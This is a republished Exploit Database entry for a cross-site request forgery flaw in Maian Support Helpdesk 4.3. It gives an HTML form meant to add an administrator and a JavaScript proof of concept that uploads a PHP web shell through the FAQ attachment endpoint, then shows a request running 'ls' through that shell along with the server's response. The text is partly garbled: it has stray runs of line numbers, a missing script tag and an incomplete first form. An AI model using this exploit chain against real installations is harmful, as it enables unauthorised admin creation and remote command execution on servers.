Maian Support Helpdesk 4.3 – Cross-Site Request Forgery (Add Admin)

Exploit Database
133 阅读

作者： Besim

日期： 2020-04-27
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48386/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

# Exploit Title: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)

# Date: 2020-04-26

# Author: Besim ALTINOK

# Vendor Homepage: https://www.maiansupport.com

# Software Link: https://www.maiansupport.com/zip.html

# Version: v4.3

# Tested on: Xampp

# Credit: İsmail BOZKURT

----------------------------------------------

Here is the Detail:

--------------------------------------------------

This product is unprotected against CSRF vulnerabilities. With this attack,

you can add an admin account to the system. In addition, you can add files

from the F.A.Q field as admin.There are no file restrictions here.

Therefore, you can upload a PHP file here with CSRF.

If you want, you can add an admin account first and then access the system

and upload files.

Or you can upload files with direct admin rights.

---------------------------------------------------

CSRF PoC - 1 (Add Administrator user)

-------------------------------------

<html>

<body>

<form action="http://localhost/helpdesk/admin/index.php?ajax=team"

method="POST">

</form>

</body>

</html>

- After the Add admin account, you can upload the PHP file.

CSRF PoC 2 - ( Directly, File Upload)

----------------------------------------------------

<html>

<body>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST",

"http:\/\/localhost\/helpdesk\/admin\/index.php?ajax=faqattach", true);

xhr.setRequestHeader("Accept", "application\/json,

text\/javascript, *\/*; q=0.01");

xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");

xhr.setRequestHeader("Content-Type", "multipart\/form-data;

boundary=---------------------------1851832753272583700731626849");

xhr.withCredentials = true;

var body =

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"file[]\";

filename=\"shell.php\"\r\n" +

"Content-Type: text/php\r\n" +

"\r\n" +

"\x3c?php echo system($_GET[\'cmd\']); ?\x3e\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"file[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"remote[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"remote[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"remote[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"process\"\r\n" +

"\r\n" +

"1\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"opath\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

</script>

<input type="button" value="Submit request"

onclick="submitRequest();" />

</form>

</body>

</html>

HTTP Request:

-----------------------------------------------------------------------------------------

GET /helpdesk/content/attachments-faq/shell.php?cmd=ls HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0)

Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: PHPSESSID=4574c8e8190d39edd9d13a0fd9a502ec;

bp_ut_session={"pageviews":1,"referrer":"

http://localhost/olms/library/assets/js/images/","landingPage":"

http://localhost/olms/library/assets/js/images/sort_asc.html

","started":1587817504988};

HESKb910af33bb5d80030b1f4b6f8666b57fac433d4d=71c43ff24f63f83f5a34d28997251db6

Upgrade-Insecure-Requests: 1

HTTP Response:

-------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2020 12:15:31 GMT

Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1f PHP/7.2.29 mod_perl/2.0.8-dev

Perl/v5.16.3

X-Powered-By: PHP/7.2.29

Content-Length: 39

Connection: close

Content-Type: text/html; charset=UTF-8

shell.php

shell_test.php